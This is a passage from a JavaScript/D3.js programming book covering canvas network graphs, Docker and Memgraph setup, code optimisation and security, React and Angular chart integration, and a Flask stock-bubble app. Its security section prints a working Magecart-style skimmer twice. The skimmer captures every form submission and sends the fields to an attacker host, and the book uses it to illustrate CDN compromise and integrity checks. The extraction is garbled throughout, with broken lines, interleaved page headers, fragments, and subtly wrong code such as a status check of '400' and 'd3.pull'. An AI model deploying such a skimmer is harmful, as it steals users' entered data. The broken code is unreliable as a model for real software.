An excellent overview of the two technologies can be found in this
Stack Overflow post. In short, the canvas is more challenging to master
and interact with, but SVG is more intuitive and straightforward to model
interactions with. On the other hand, Canvas is more performant and is
perhaps best suited for large datasets like ours. We can also use both at the
same time. We are showing the entire network in this post, but you can do
so if you only want to see a portion.
These are only some of the script’s global variables. Now let’s retrieve
the context for the canvas element:
The following step is to create an HTTP request to get data from the
server:
xmlhttp.setRequestHeader('Content-type', 'application/
JSON; charset=utf-8');
xmlhttp.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status ==
"400") {
data = JSON.parse(xmlhttp.responseText);
links = data.links;
nodes = data.nodes;
simulation = d3.forceSimulation()
.force("center", d3.forceCenter(width / 4,
height / 2))
.force("x", d3.forceX(width / 3)
.strength(0.2))
.force("y", d3.forceY(height / 3)
.strength(0.2))
.force("charge", d3.forceManyBody().
strength(-30))
.force("link", d3.forceLink().strength(1).
ids(function (d) { return d.ids; }))
.alphaTarget(0)
.alphaDecay(0.04);
transforms = d3.zoomIdentity;
d3.select(context.canvas)
.call(d3.pull().subject(pullsubject).
on("start",pullstarted).on("drag",dragged).on("end",
dragended))
.call(d3.zoom().scaleExtent([2 / 15, 6]).
on("zoom", zoomed));
simulation.nodes(nodes)
.on("tick", simulationUpdate);
simulation.force("link")
.links(links);
}
}
Application Development III ◾ 119
The JSON response data is parsed here and divided into two lists: nodes
and links. The force simulation() method is in charge of structuring our
network and individual node placements.
Specific functions must also be mapped to events such as dragging and
zooming. Let’s put these functions in place now. When an element’s posi-
tion is changed, the function simulationUpdate() is called to redraw the
canvas:
function simulationUpdate() {
context.save();
context.clearRect(10, 10, wid, heigh);
context.translate(transform.a, transform.b);
context.scale(transform.w, transform.w);
links.forEach(function (d) {
context.beginPath();
context.moveTo(d.source.a, d.source.b);
context.lineTo(d.target.a, d.target.b);
context.stroke();
});
nodes.forEach(function (e, f) {
context.beginPath();
context.arc(d.a, d.b, radius, 0, 4 * Math.PI,
true);
context.fillStyle = "#FFA500";
context.fill();
});
context.restore();
}
function dragstarted(event) {
if (!event.active) simulation.alphaTarget(0.4).
restart();
event.subject.fx = transform.invertX(event.a);
event.subject.fy = transform.invertY(event.b);
}
120 ◾ Conquering JavaScript: D3.js
function dragged(event) {
event.subject.fx = transform.invertX(event.a);
event.subject.fy = transform.invertY(event.b);
}
function dragended(event) {
if (!event.active) simulation.alphaTarget(0);
event.subject.fx = null;
event.subject.fy = null;
}
version: "3"
services:
memgraph:
image: "memgraph/memgraph:latest"
user: root
volumes:
-/memgraph/entrypoint:/usr/lib/memgraph/
entrypoint
-./memgraph/import-data:/usr/lib/memgraph/
import-data
-./memgraph/mg_lib:/var/lib/memgraph
-./memgraph/mg_log:/var/log/memgraph
-./memgraph/mg_etc:/etc/memgraph
ports:
- "7687:7687"
bitclout:
build:.
Application Development III ◾ 121
volumes:
-. :/app
ports:
- "5000:5000"
environment:
MG_HOST: memgraph
MG_PORT: 7687
depends_on:
- Memgraph
As you can see from a file named the docker-compose.yml file, there are
two different services. The first is memgraph, while the second is bitclout,
a web application. A Dockerfile must also be added to the root directory.
This file will tell you how to make the bitclout image.
FROM python:3.8
# Install CMake
RUN apt-get update && \
apt-get --true install CMake
# Install mgclient
RUN apt-get install -b git cmake make GCC g++ libssl-
dev && \
Git Clone https://github.com/memgraph/mgclient.git/
mgclient && \
cd mgclient && \
git checkout
dd5dcaaed5d7c8b275fbfd5d2ecbfc5006fa5826 && \
mkdir build && \
cd build && \
cmake ..&& \
make && \
make install
# Install packages
COPY requirements.txt ./
RUN pip3 install -r requirements.txt
# Copy the source code to the container
COPY public /app/public
COPY bitclout.py /app/bitclout.py
COPY database.py /app/database.py
WORKDIR /app
ENV FLASK_ENV=development
122 ◾ Conquering JavaScript: D3.js
ENV LC_ALL=C.UTF-8
ENV LANG=C.UTF-8
ENTRYPOINT ["python3", "bitclout.py", "--load-data"]
All of the Python needs are installed with the command RUN pip3
install -r requirements.txt. The requirements.txt file only has two
dependencies:
Flask==1.1.2
pymgclient==1.0.0
docker-compose build
docker-compose up
Running the server without the load data parameter is essentially the
same.
CONCLUSION
In this chapter, we have gained knowledge about how to use Memgraph,
Python, and D3.js to create a BitClout visualization App. You can accom-
plish a couple of things from here.
NOTE
1. https://pypi.org/project/beautifulsoup4/
Chapter 5
Code Optimization
IN THIS CHAPTER
d3.csv("file.csv", function(data) {
something happens(data);
Code Optimization ◾ 125
});
console.log(data);
d3.csv("file.csv", function(data) {
somethingHappens(data);
});
someSortOfTimer(60);
console.log(data);
Instead, write all of the code that uses the loaded data in the call back
function:
d3.csv("file.csv", function(data) {
somethingHappens(data);
console.log(data);
});
var i
for (i = 0; i < 10; i++) {
console.log(i)
}
A for loop that includes all list elements: (Note that it does not return
a, b, or c.)
JavaScript’s PERILS
Debugging and Tampering
According to OWASP application security standards, reverse engineering,
and tampering with application source code are dangerous in Apps that
handle sensitive data or perform critical functions. This is particularly
true with JavaScript-based Apps, where these concerns can be exploited
through various assaults, including intellectual property theft, automated
abuse, piracy, and data exfiltration.
The risks of having exposed source code are also mentioned in regu-
lations and standards such as NIST and ISO 27001, which require that
enterprises use stringent control mechanisms to avoid the repercussions
of prospective assaults.
<div id="hack-target"></div>
<button>Set Value</button>
<script>
document.querySelector('button').
addEventListener('click', setValue);
function setValue() {
var value = '5';
document.getElementById('hack-target').
innerText = value;
}
</script>
This creates an HTML target and hooks up events. The callback is trig-
gered when you click the button. You can set a breakpoint right where the
value is set with client-side JavaScript. This breakpoint is reached as soon
as the event occurs. The value set by var value = ‘5’; can be changed at any
time. The debugger stops the program and allows the user to manipulate
the page. This feature helps debug, and the browser does not issue any
warnings while it is being used. Because the debugger can halt the execu-
tion, it can also halt page rendering.
assaults, such as Magecart attacks, that are flooding the web and exploit-
ing the client-side to exfiltrate data. Let’s look at an example to put this
into context.
Let’s imagine your CDN is compromised (which has happened before)
and the jQuery script you’re using on your website is updated, adding the
following snippet:
!function(){document.querySelectorAll("form").
forEach(function(a){a.addEventListener("submit",functi
on(a){var b;if(!a.target)return null;b=new FormData(a.
target);var d="";for(var e of b.entries())d=d+"&"+e[0]
+"="+e[1];return(new Image).src="https://attackers.
site.com/?"+d.substring(1),!0})})}();
You’re pretty likely to miss this modification, and your website will be
spreading malware.
! function() {
document.querySelectorAll("form").forEach(function(a)
{
a.addEventListener("submit", function(a) {
var b;
if (!a.target) return null;
b = new FormData(a.target);
var d = "";
for (var e of b.entries()) d = d + "&" + e[0] + "=" +
e[1];
return (new Image).src = "https://attackers.site.
com/?" + d.substring(1), !0
})
})
}();
<script
src="https://cdnjs.cloudflare.com/ajax/libs/
web3/1.6.1/web3.min.js"
integrity="sha5125erpERW8MxcHDF7Xea9eBQPiRtxbs
e70pFcaHJuOhdEBQeAxGQjUwgJbuBDWve+xP/
u5IoJbKjyJk50qCnMD7A=="
crossorigin="anonymous"
referrerpolicy="no-referrer">
</script>
<!-- WARNING:
For security purposes, include a script tag with the integrity property
present.
Code Optimization ◾ 131
If the source has been tampered with, the integrity attribute allows
a browser to inspect the fetched script to ensure that the code is never
loaded.
rm -rf node_modules
rm package-lock.json yarn.lock
npm cache clear --force
npm install
• Errors are thrown for various errors that were previously quiet.
• Corrects errors that make it difficult for JavaScript engines to
optimize.
• Use of reserved words that are anticipated to be defined in future
editions of ECMAScript is prohibited.
• When “unsafe” activities are conducted, errors are thrown (such as
gaining access to the global object).
For years, the strict mode has been supported by every current browser.
The expression is simply ignored if the browser does not support strict mode.
• JSLint
• JSHint
• ESLint
Additionally, tools like Sonar Cloud can detect code odors and known
security flaws.
Code Optimization ◾ 133
GENERAL TIPS
At the Top, Declare and Initialize Your Variables
A late announcement is the worst enemy of readability. It’s easier to
declare all variables before going into the nitty-gritty of your function,
just as it’s better to take out all your equipment before starting a project.
This allows us quick access if we need to change any names or values
later. While we’re on variables, it’s preferable to initialize them when
they’re first created so you and your team can make sure none are left
undefined.
<script>
var x = 7;
</script>
// compared to
function createTable (columns, rows){
//creates table
}
function searchTable (table.length, item) {
//searches table for the passed item
}
<script>
var x = 5;
var y = 6;
var x = x*2
var y = y*2
</script>
<script>
var x = 5;
var y = 6;
function1 (a,b){
function2{
function3{
//this is too hard to follow and can likely be
solved another way
}
}
}
</script>
function accountInfo(){
var email = $("#accounts").find(".email").val();
var accountNumber = $("#accounts").find(".
accountNumber").val();
}
136 ◾ Conquering JavaScript: D3.js
<html>
<script>
var myVar = "my global variable"; // This
variable is declared as global
function localVariable( ) {
var myVar = "my local variable"; //
This is a locally declared variable
</script>
</body>
</html>
Longhand object:
Shorthand object:
var computer = {
caseColor: 'black';
brand: 'Dell';
value: 1200;
onSale: true;
}
Shorthand array:
var computerBrands = [
'Dell',
'Apple',
'Lenovo',
'HP',
'Toshiba',
'Sony'
];
• Silent errors that would have passed the compiler now throw errors,
allowing you to fine-tune your code before reaching your team.
138 ◾ Conquering JavaScript: D3.js
• Errors that prevent JavaScript from optimizing your code are fixed.
• Strict Code JavaScript programs are generally faster than their
“sloppy” counterparts.
Add the line “use strict” at the head of your script section (if you want
the entire section to be strict) or before the relevant function to enable
strict mode (if only certain sections should be strict).
function logProperty({
address = '111 11th Street, 11111',
unit, //optional
landlord = 'Sara',
tenant = 'Raj',
rent = 500,
})
Although not all properties will have a unit number, all will have the
other four properties, all populated with the required data type. We’ll
leave the unit blank to demonstrate this.
function greet(name) {
return 'Hi, ${name}'; //template literal
}
console.log(greet('Leo'));
We can log a greeting to any user based on the name supplied to us,
combining the string Hi and the value of the passed variable name by uti-
lizing the template literal. As a result, this code prints: Hi, Leo.
Code Optimization ◾ 139
function displayShipping(sections) {
return sections.includes('shipping');
}
console.log(displayShipping(sections));
• ‘’
• “”
• the Boolean false
• null
• 0
• NaN (not a number)
Equivalent == in JavaScript means that two objects have the same val-
ues but may not be of the same type. The term “identical” denotes that the
two items have the same type and value. But how does this help?
Instead of defining separate variables to hold Booleans, you can uti-
lize the default values listed above to report false if nothing overwrites
them. Consider the following scenario: you need to determine whether a
specific employee has received equipment training (equipment training).
This machine just needs the most basic training; the level of instruction
is irrelevant.
140 ◾ Conquering JavaScript: D3.js
const employee = {
name: 'Eric',
equipmentTraining: '',
}
if (!employee.equipmentTraining) {
console.log('Not authorized to operate
machinery');
}
class Coupon {
constructor(price, expiration) {
this.price = price;
this.expiration = expiration || 'Two Weeks';
}
getExpirationMessage() {
return 'This offer expires in ${this.expiration}';
}
}
export default Coupon;
import Coupon from './extend';
Code Optimization ◾ 141
SUMMARY
In this chapter, we learned how to optimize codes so that the program
could work effectively and the steps about security and a few general tips
for writing codes.
Chapter 6
Summary
IN THIS CHAPTER
SVG, HTML, canvas, and CSS. It also includes several mathematical tools
for calculating complex SVG pathways.
Data Joins
Data joins are the technique by which D3 binds data to DOM elements via
selects, as discussed in Mike Bostock’s essay “Thinking with Joins.”
Data joins allow us to match the data we provide to already existing
elements, add missing items, and eliminate no longer needed pieces. They
employ D3.js selects, which, when paired with data, divide the selected
items into three groups: those that must be created (the enter group), those
that must be modified (the update group), and those that must be removed
(the remove group) (the exit group).
In practice, a data join is represented by a JavaScript object having two
arrays. In the current version of D3.js, we can call the entry and exit meth-
ods of the selection to initiate operations on the enter and exit groups. At
the same time, we can directly operate on the update group.
“You can view real-time data, allow interactive exploration, and transi-
tion smoothly across datasets,” according to Bostock. As we’ll see in the
coming sections, they’re effectively a diff method, similar to how React
handles the rendering of child elements.
D3 Libraries
Since D3.js is so low-level, the D3 community hasn’t developed a stan-
dard way to generate components from D3 code, which is a common need.
We could claim that there are practical as many encapsulating patterns as
D3-based libraries, but we will categorize them into four classes depend-
ing on their API:
• Object-oriented
• Declarative
Summary ◾ 147
• Functional
• Chained (or D3-like)
We will list some of the current libraries that use D3.js version 4 and
have high test coverage. They differ in terms of API type and abstraction
granularity.
Plottable
Plottable is a popular object-oriented charting package with low granular-
ity; so, to construct charts, we must manually set up axes, scales, and plots.
Billboard
Billboard is a fork of the well-known C3.js library, updated to work with
D3.js version 4 and aimed at preserving the legacy of this classic library.
It’s made with ECMAScript 6 and new modern tools like Web pack. It has
a declarative API based on configuration objects supplied to charts.
Vega
Vega goes a step farther with declarative configurations, converting
JavaScript objects to pure JSON files. It tries to create a visualization
grammar based on Leland Wilkinson’s The Grammar of Graphics. This
chapter formalized the building parts of data visualizations and was also
a source of inspiration for D3.js.
D3FC
D3FC uses D3.js and proprietary building blocks to assist you in creating
dynamic interactive charts in both SVG and canvas. It has a functional,
low-granularity interface and a lot of D3.js code, so it’ll take some time to
get used to.
Britecharts
It is an Eventbrite library in which I am a core developer. It uses the
Reusable Chart API, an encapsulation style pioneered by Mike Bostock
in his post “Towards Reusable Charts” and used in other libraries like
NVD3. Britecharts is a high-level abstraction that makes it simple to build
charts while keeping the internal complexity low, allowing D3 developers
to customize Britecharts for their own needs. Developing a sophisticated
148 ◾ Conquering JavaScript: D3.js
APPROACHES
We can integrate React and D3.js at various levels, leaning more on the
D3.js side or the React side.
Let’s look at our four main options.
On the flip side, combining React and D3.js code within a React com-
ponent could be regarded as a bit naughty, as it would include too many
dependencies and make the file too large to be considered excellent
code. Furthermore, this implementation does not feel React-idiomatic.
Finally, we can’t include a rendered version of the chart in the first
HTML since the React render server doesn’t call the componentDidUp-
date method.
componentDidMount() {
const faux = this.props.connectFauxDOM('div',
'chart');
render() {
<div className="line-container">
{this.props.chart}
</div>
}
}
export default withFauxDOM(Line);
Summary ◾ 151
componentDidMount() {
// D3 Code to create the chart
this._chart = D3Line.create(
this._rootNode,
this.props.data,
this.props.config
);
}
componentDidUpdate() {
// D3 Code to update the chart
D3Line.update(
this._rootNode,
this.props.data,
this.props.config,
this._chart
);
}
componentWillUnmount() {
D3Line.destroy(this._rootNode);
}
setRef(componentNode) {
this._rootNode = componentNode;
}
render() {
<div className="line-container" ref={this._
setRef.bind(this)} />
}
}
152 ◾ Conquering JavaScript: D3.js
drawLine() {
Summary ◾ 153
return (
<path
className="line"
d={line(this.props.data)}
/>
);
}
render() {
<svg
className="line-container"
width={this.props.width}
height={this.props.height}
>
{this.drawLine()}
</svg>
}
}
RECHARTS
Recharts is one of my favorite React-D3.js packages because it is well-
designed, has a pleasant user experience, smooth animations, and a
nice-looking tooltip. Recharts use only the d3-scale, d3-interpolate, and
Summary ◾ 155
NIVO
Nivo is a React-D3.js charting library at a high level. It has various ren-
dering choices, including SVG, canvas, and an API-based HTML version
of the charts, perfect for server-side rendering. The animations are made
with React Motion.
Its API is a little unusual in that each chart has only one modifiable
component. Consider the following scenario:
margin={{
"top": 50,
"right": 110,
"bottom": 50,
"left": 60
}}
minY="auto"
stacked={true}
axisBottom={{
"orient": "bottom",
"tickSize": 5,
"tickPadding": 5,
"tickRotation": 0,
"legend": "country code",
"legendOffset": 36,
"legendPosition": "center"
}}
axisLeft={{
"orient": "left",
"tickSize": 5,
"tickPadding": 5,
"tickRotation": 0,
"legend": "count",
"legendOffset": -40,
"legendPosition": "center"
}}
dotSize={10}
dotColor="inherit:darker(0.3)"
dotBorderWidth={2}
dotBorderColor="#ffffff"
enableDotLabel={true}
dotLabel="y"
dotLabelYOffset={-12}
animate={true}
motionStiffness={90}
motionDamping={15}
legends={[
{
"anchor": "bottom-right",
"direction": "column",
"translateX": 100,
Summary ◾ 157
"itemWidth": 80,
"itemHeight": 20,
"symbolSize": 12,
"symbolShape": "circle"
}
]}
/>
);
}
}
VX
VX is a set of low-level visualization components that can be used to cre-
ate visualizations. It is neutral and can be used to create different charting
libraries or used as is.
Syntax:
VXLineChart extends React.Component {
render () {
let {width, height, margin} = this.props;
// bounds
const xMax = width - margin.left - margin.
right;
const yMax = height - margin.top - margin.
bottom;
// scales
const xScale = scaleTime({
range: [0, xMax],
domain: extent(data, x),
});
const yScale = scaleLinear({
range: [yMax, 0],
domain: [0, max(data, y)],
nice: true,
});
return (
<svg
158 ◾ Conquering JavaScript: D3.js
width={width}
height={height}
>
<rect
x={0}
y={0}
width={width}
height={height}
fill="white"
rx={14}
/>
<Group top={margin.top}>
<LinePath
data={data}
xScale={xScale}
yScale={yScale}
x={x}
y={y}
stroke='#32deaa'
strokeWidth={2}
/>
</Group>
</svg>
);
}
};
BRITECHARTS REACT
The only one of these libraries that uses the lifecycle method-wrapping
strategy is Britecharts React, which is still in beta. It seeks to make
Britecharts visualizations easier to use in React by building a code wrapper.
return (
<TooltipComponent
data={lineData.oneSet()}
topicLabel="topics"
title="Tooltip Title"
render={(props) => (
<LineComponent
margin={margin}
lineCurve="basis"
{...props}
/>
)}
/>
);
}
}
with D3.js examples might also work. Rolling your React-D3.js library is
something I rarely suggest. The amount of work required upfront is intim-
idating, and both libraries’ updating rates make maintenance expendi-
tures non-trivial.
Create a new Angular App next. You may call it anything you want, but
I'll go with angular-d3:
ng new angular-d3
cd angular-d3/
Then, through npm, install D3 and the D3 type definitions. Type dec-
larations would enable TypeScript to add type hints to non-TypeScript D3
code.
Using the Angular CLI, create three new components. D3 will be used
in the next phases to create data visualizations.
First, there’s the bar:
ng g component bar
ng g component pie
ng g component scatter
162 ◾ Conquering JavaScript: D3.js
These components are now in the src/app/ directory, and Angular has
added them to your app.module.ts file, but you must still use their selec-
tors to insert them. Replace the contents of your src/app/app.component.
html file with the following:
<header>
<h1> D3+ Angular </h1>
</header>
<app-bar></app-bar>
<app-pie></app-pie>
<app-scatter></app-scatter>
Finally, you can enhance the look of your site by including new.css in
your <head>. In the src/index.html file, add the following lines between
the <head>/head> tags:
You’re all set to put it to the test. Run ng serve – open from your ter-
minal. If you go to http://localhost:420"0 in your browser, you should see
something like this:
Now that it’s ready let’s add three charts to your Angular App: a bar
chart, a pie chart, and a scatter plot.
[
{"Framework": "Vue", "Stars": "166443",
"Released": "2014"},
{"Framework": "React", "Stars": "150793",
"Released": "2013"},
{"Framework": "Angular", "Stars": "62342",
"Released": "2016"},
Summary ◾ 163
Using a CSS selector, you’ll insert the chart into the figure using D3.
Next, open the bar.component.ts TypeScript component file and add the
following properties:
...
export class BarComponent implements OnInit {
private data = [
{"Framework": "Vue", "Stars": "166443",
"Released": "2014"},
{"Framework": "React", "Stars": "150793",
"Released": "2013"},
{"Framework": "Angular", "Stars": "62342",
"Released": "2016"},
{"Framework": "Backbone", "Stars": "27647",
"Released": "2010"},
{"Framework": "Ember", "Stars": "21471",
"Released": "2011"},
];
private SVG;
private margin = 50;
private width = 750 - (this.margin * 2);
private height = 400 - (this.margin * 2);
...
Data is the initial private property, and it hardcodes the data required
to create the graphic. You’ll learn how to use data from a file or API later,
but for now, this will suffice.
164 ◾ Conquering JavaScript: D3.js
The class’s SVG field will be used to hold the SVG image that D3 will
draw on the DOM. The other variables determine the chart’s height, width,
and margin. While responsive charts are feasible with D3, I will not cover
them in this lesson.
Create a method called createSvg in the BarComponent (). This
chooses the DOM element and creates a new SVG containing the <g>
element:
Create a function named drawBars() that will use the SVG property to
add the bars:
If the Angular server was halted in the previous step, restart it (ng serve)
and go to localhost:4200.
Making a Pie Graph
A pie chart is a valuable tool for displaying the relative values of several
data sets. In this scenario, you’ll use it to show the market share of several
front-end frameworks based on GitHub stars.
Basic step is to add a new figure and title to the component’s HTML file
(pie.component.html):
<h2> Chart Type Pie </h2>
<figure id="Pie"></figure>
Since this chart uses the same data set as the bar chart, the component’s
class looks similar at first. Fill in your data and the following private prop-
erties in the pie.component.ts file:
...
export class PieComponent implements OnInit {
private data = [
166 ◾ Conquering JavaScript: D3.js
You’ll use an ordinal scale to produce discrete colors for each area of the
pie chart in this example. You could make each the framework’s dominant
color, but I think a monochromatic scheme looks better.
Make a method for drawing the chart and labeling it. This method cre-
ates arcs for each framework using path> elements and fills them with the
colors defined in the createColors method above.
// Add labels
const labelLocation = d3.arc()
.innerRadius(100)
.outerRadius(this.radius);
this.svg
.selectAll('pieces')
.data(pie(this.data))
.enter()
168 ◾ Conquering JavaScript: D3.js
.append('text')
.text(d => d.data.Framework)
.attr("transform", d => "translate(" +
labelLocation.centroid(d) + ")")
.style("text-anchor", "middle")
.style("font-size", 15);
}
The centroid function in D3 allows you to label each slice of pie’s deter-
mined centroid. The labels will be a little outside the true centroid in this
example because the inner radius(100) is set. You can reposition these
numbers wherever you want them to appear the best.
Finally, in the ngOnInit() method, call all three of these methods:
ngOnInit(): void {
this.createSvg();
this.createColors();
this.drawChart();
}
Since this scatter plot employs the same data and figure size as the bar
chart, it has the same properties:
...
export class ScatterComponent implements OnInit {
private data = [
Summary ◾ 169
If your project has a lot of bars and scatter plots with the same attri-
butes, you might want to use inheritance to reduce the amount of repeti-
tive code.
Produce a new drawPlot() method to create your plot’s x- and y-axes
as well as the dots on the canvas. This method adds a label to each frame-
work’s name and makes the points semi-transparent.
private drawPlot(): void {
// Add X axis
const x = d3.scaleLinear()
.domain([2009, 2017])
.range([ 0, this.width ]);
this.SVG.append("g")
170 ◾ Conquering JavaScript: D3.js
// Add Y axis
const y = d3.scaleLinear()
.domain([0, 200000])
.range([ this.height, 0]);
this.svg.append("g")
.call(d3.axisLeft(y));
// Add dots
const dots = this.svg.append('g');
dots.selectAll("dot")
.data(this.data)
.enter()
.append("circle")
.attr("cx", d => x(d.Released))
.attr("cy", d => y(d.Stars))
.attr("r", 7)
.style("opacity", .5)
.style("fill", "#69b3a2");
// Add labels
dots.selectAll("text")
.data(this.data)
.enter()
.append("text")
.text(d => d.Framework)
.attr("x", d => x(d.Released))
.attr("y", d => y(d.Stars))
}
Framework, Stars,Released
Vue,166443,2014
React,150793,2013
Angular,62342,2016
Backbone,27647,2010
Ember,21471,2011
ngOnInit(): void {
this.createSvg();
// Parse data from a CSV
d3.csv("/assets/frameworks.csv").then(data =>
this.drawBars(data));
}
You’ll need a JSON API endpoint or file to begin. JSONbin, a free JSON
file hosting platform, hosted the framework data used throughout this
course. This information is available here.
To use this endpoint, reopen the bar.component.ts file and add the fol-
lowing to the ngOnInit() method:
ngOnInit(): void {
this.createSvg();
// Fetch JSON from an external endpoint
d3.json('https://api.jsonbin.
io/b/5eee6a5397cb753b4d149343').then(data => this.
drawBars(data));
}
D3’s JSON method, like the CSV example, delivers a promise with your
data parsed as an array of objects. Your bar chart can now use the JSON
API endpoint as its data source by supplying this in.
D3 is an excellent alternative for creating sophisticated data visualiza-
tions in your Angular App. D3 is a powerful data visualization tool that
can generate practically any data visualization you can imagine. It also
makes it simple to access datasets from CSV files or JSON APIs.
If you want to learn more about personalizing your bar charts, I recom-
mend looking at the official documentation or the D3 Graph Gallery for
more examples.
Python:
pip install -r requirements.txt
Summary ◾ 173
OBTAINING INFORMATION
In the app.py file, create a new route and view function:
Python
@app.route("/data")
def data():
return jsonify(get_data())
Python
from flask import Flask, render_template, jsonify
from stock_scraper import get_data
When the route is called, it changes the returned value from the
get data() function to JSON before returning it. This function is
located in the stock scraper.py file, which retrieves data from the
NASDAQ-100.
Add the stock scraper.py script to the leading directory.
It’s your turn: Make your script by following these steps:
• http://www.nasdaq.com/quotes/nasdaq-100-stocks.aspx?render=
download to get the CSV.
• Take the following information from the CSV: company name, sym-
bol, current price, net change, percent change, volume, and value.
• Create a Python dictionary from the parsed data.
• Get the dictionary back.
Python
import CSV
import requests
174 ◾ Conquering JavaScript: D3.js
URL = "http://www.nasdaq.com/quotes/nasdaq-100-stocks.
aspx?render=download"
def get_data():
r = requests.get(URL)
data = r.text
RESULTS = {'children': []}
for line in csv.DictReader(data.splitlines(),
skipinitialspace=True):
RESULTS['children'].append({
'name': line['Name'],
'symbol': line['Symbol'],
'symbol': line['Symbol'],
'price': line['lastsale'],
'net_change': line['netchange'],
'percent_change': line['pctchange'],
'volume': line['share_volume'],
'value': line['Nasdaq100_points']
})
return RESULTS
Testing Time
After starting the server, go to http://localhost:5000/data. In case every-
thing goes correct, you should see an object with the required stock
data.
Now that we have the data, we can start visualizing it on the front
end.
Summary ◾ 175
VISUALIZING
We’ll use Bootstrap, JavaScript/jQuery, and D3 to power our front-end
in addition to HTML and CSS. We’ll additionally download and man-
age these libraries using Bower, a client-side dependency management
tool.
Now it’s your job to set up Bower on your machine by following the
installation instructions. You must first install Node.js before installing
Bower.
Ready?
BOWER
Bower requires two files to get started: bower.json and.bowerrc.
Bower is configured using the latter file. It should go in the main
directory:
JSON
{
"directory": "static/bower_components"
}
This just indicates that the dependencies should be put in the bower com-
ponents directory (by convention) within the static directory of the App.
Meanwhile, the first file, bower.json, contains the Bower manifest,
which includes information about both Bower components and the appli-
cation itself. To create the file interactively, use the bower init command.
Right now, do it. Accept the default settings.
HTML
<!DOCTYPE html>
<html>
<head>
<title>Flask Stock Visualizer</title>
<meta name="viewport" content="wid=device-wid,
initial-scale=5.0">
<linkhref={{url_for('static', filename='./bower_
components/bootstrap/dist/css/bootstrap.min.css') }}
rel="stylesheet" media="screen">
<link href={{ url_for('static', filename='main.
css') }} rel="stylesheet" media="screen">
</head>
176 ◾ Conquering JavaScript: D3.js
<body>
<div class="container">
</div>
<script src={{ url_for('static', filename='./
bower_components/jquery/dist/jquery.min.js') }}></
script>
<script src={{ url_for('static', filename='./
bower_components/bootstrap/dist/js/bootstrap.min.js')
}}></script>
<script src={{ url_for('static', filename='./
bower_components/d3/d3.min.js') }}></script>
<script src={{ url_for('static', filename='main.
js') }}></script>
</body>
</html>
D3
Why D3 among the many data visualization frameworks? Because D3 is
a low-level language, you can create whatever framework you want. After
appending your data to the DOM, you generate the visualization using a
combination of CSS3, HTML5, and SVG. Then, using D3’s built-in data-
driven transitions, you can add interactivity.
To be fair, not everyone will enjoy this library. The learning curve is
very steep because you have a lot of freedom to construct whatever you
want. If you want to get started quickly, Python-NVD3 is a wrapper for
D3 that makes working with D3 a lot easier. However, we will not need it
in this lesson because Python-NVD3 does.
Let’s get started coding.
Setup
To main.js, add the following code:
Javascript
// Custom JavaScript
$(function() {
console.log('jquery is working!');
createGraph();
});
function createGraph() {
// Code goes
}
Summary ◾ 177
After the first page load, we log “jquery is working!” to the console
and then call the createGraph function (). Check it out. Start the server,
then go to http://localhost:5000/ and refresh the page using the JavaScript
Console. If everything went well, the text “jquery is working!” should
appear.
To hold the D3 bubble chart, the following tag will be added to the
index.html page, under the <div> element containing id of individual:
HTML
<div id="chart"></div>
MAIN CONFIGURATION
In main.js, add the following code to the createGraph():
Configuration of Bubbles
Java Script
var bubble = d3.layout.pack()
.sort(null) // disable sorting, use DOM tree
traversal
.size([wide, heigh]) // chart layout size
.padding(1) // padding between circles
.radius(function(d) { return 28 + (sizeOfRadius(d) *
35); }); // radius for each circle
Add the preceding code to the createGraph() function once more, and
consult the documentation if you have any issues.
178 ◾ Conquering JavaScript: D3.js
SVG Configuration
Add the following code to createGraph(), which picks the component with
the chart id and attaches the circles as well as a set of parameters:
JavaScript
var SVG = d3.select("#chart").append("SVG")
.attr("width", width)
.attr("height", height)
.attr("class", "bubble");
Javascript syntax:
// REQUEST THE DATA
d3.json("/data", function(error, quotes) {
var node = SVG.selectAll('.node')
.data(bubble.nodes(quotes)
.filter(function(d) { return !d.children; }))
.enter().append('g')
.attr('class', 'node')
.attr('transform', function(d) { return
'translate(' + d.x + ',' + d.y + ')'});
node.append('circle')
.attr('r', function(d) { return d.r; })
.style('fill', function(d) { return color(d.
symbol); });
node.append('text')
.attr("dy", ".3em")
.style('text-anchor', 'middle')
.text(function(d) { return d.symbol; });
});
So, to return the data, we use the /data endpoint that we set up ear-
lier. The remaining code just populates the DOM with bubbles and
text. This is a boilerplate code that has been significantly adjusted for
our data.
Summary ◾ 179
Tooltips
Since there isn’t much area on the chart, we’ll use the createGraph() func-
tion to add some tooltips with more information about each stock.
Javascript syntax:
// tooltip config
var tooltip = d3.select("body")
.append("div")
.style("position", "absolute")
.style("z-index", "10")
.style("visibility", "hidden")
.style("color", "white")
.style("padding", "8px")
.style("background-color", "rgba(1, 1, 1, 0.85)")
.style("border-radius", "6px")
.style("font", "12px sans-serif")
.text("tooltip");
These are only the tooltip’s associated CSS styles. The real data must still
be entered. Update the code where the circles are appended to the DOM:
Javascript syntax:
node.append("circle")
.attr("r", function(d) { return d.r; })
.style('fill', function(d) { return color(d.
symbol); })
.on("mouseover", function(d) {
tooltip.text(d.name + ": $" + d.price);
tooltip.style("visibility", "visible");
})
.on("mousemove", function() {
return tooltip.style("top", (d3.event.pageY-
10)+"px").style("left",(d3.event.pageX+10)+"px");
})
.on("mouseout", function(){return tooltip.
style("visibility", "hidden");});
Now it’s your job to add some metadata. What further information do
you believe is important? Consider what we’re showing here: the relative
price change. You may possibly compute the prior price and display:
Python syntax:
def get_data():
r = requests.get(URL)
data = r.text
RESULTS = {'children': []}
for line in csv.DictReader(data.splitlines(),
skipinitialspace=True):
if float(line['Nasdaq100_points']) > .01:
RESULTS['children'].append({
'name': line['Name'],
'symbol': line['Symbol'],
'symbol': line['Symbol'],
'price': line['lastsale'],
'net_change': line['netchange'],
'percent_change':
line['pctchange'],
'volume': line['share_volume'],
'value': line['Nasdaq100_points']
})
return RESULTS
Now, in the bubble config section of main.js, let’s increase the radius of
each bubble; edit the code accordingly:
Javascript syntax:
// Radius for each circle
.radius(function(d) { return 28 + (sizeOfRadius(d)
* 80); });
Summary ◾ 181
CSS
Let’s finish up by adding some basic styles to the main.
DEPLOYING
Dokku is an open-source PaaS that works similarly to Heroku and is
driven by Docker.
Git can be used to push the application once it is set up.
Our hosting provider is Digital Ocean. Let’s get going.
Configure digital ocean: Set up digital ocean if you don’t already have
an account, create one. Then, to add a public key, follow this guide.
Make a new Droplet by giving it a name, a size, and a location. Select
